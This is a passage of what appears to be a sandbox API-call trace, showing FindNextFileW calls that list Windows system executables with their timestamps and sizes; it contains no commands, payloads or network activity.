cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9716654b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9716654b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x973a19ef, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="bcdedit.exe", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc17bc305, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc17bc305, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xda694920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="BdeUISrv.exe", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc086969a, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc086969a, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xda72bf00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="BdeUnlockWizard.exe", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868bb544, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x868bb544, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x868e16a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38c00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="bitsadmin.exe", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a941698, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x6a941698, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdaba2840, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="bootcfg.exe", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e6d0c2, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x39e6d0c2, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdacd3b10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5200, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="bridgeunattend.exe", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa71185d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xfa71185d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdad1f600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="bthudtask.exe", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdad1f600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="cacls.exe", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3786a5f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xa3786a5f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdafa6590, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe0400, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="calc.exe", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa00af576, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xa00af576, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb312d00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="CertEnrollCtrl.exe", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d779bd5, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x9d779bd5, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb4689c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4fa00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="certreq.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaba59ad6, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xaba59ad6, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb99d9e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11f000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="certutil.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b5dd62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b5dd62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="change.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x965e8982, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x965e8982, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdba376d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="charmap.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="chglogon.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="chgport.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b37c01, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b37c01, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b5dd62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="chgusr.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc10dea0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="chkdsk.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc134fa0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="chkntfs.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93205b17, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93205b17, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9322bc77, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="choice.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318b7149, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x318b7149, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc23f170, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="cipher.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbbfaf1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7cbbfaf1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdc2fd850, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x34c00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="cleanmgr.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e5790, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xb7e5790, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xdc324950, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="cliconfg.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391d06ff, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x391d06ff, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc349340, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="clip.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8734b6f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8734b6f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87371858, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54400, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="cmd.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1030d73, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb1030d73, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdd3a6a80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="cmdkey.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec55860, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x6ec55860, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdd3cdb80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="cmdl32.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d4445bb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7d4445bb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdd3f2570, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="cmmon32.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8efab55c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8efab55c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8efab55c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="cmstp.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ba021e4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1ba021e4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdd419670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="cofire.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fdc04, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x19fdc04, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xdd465160, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15200, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="colorcpl.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x316ee0ed, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x316ee0ed, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd48c260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="comp.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd4b0c50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="compact.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7238b736, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x7238b736, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xeecd5140, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="CompMgmtLauncher.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d7da9e, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x82d7da9e, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdd4b0c50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="ComputerDefaults.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x853e749d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x853e749d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8547fa1f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x52800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="conhost.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ee548fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ee548fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ee548fa, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b580, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="consent.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75044f6b, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x75044f6b, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdd67bc10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="control.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29ca404f, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x29ca404f, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd6a0600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="convert.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eda12e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb0eda12e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xddacb450, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="credwiz.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53727ed, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd53727ed, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddb62a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x26200, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="cscript.exe", cAlternateFileName="")) returned 1 [0025.719] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b3e3e96, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x6b3e3e96, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xddb62a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="csrss.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c51c5ff, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x1c51c5ff, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xddbb0c30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="ctfmon.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2191a4, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x8e2191a4, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddc48210, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4ea00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="cttune.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x895c7647, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x895c7647, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddc6f310, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="cttunesvr.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1385fc55, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x1385fc55, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xdde37bc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xd7400, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="dccw.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfca15ae0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xfca15ae0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde000470, 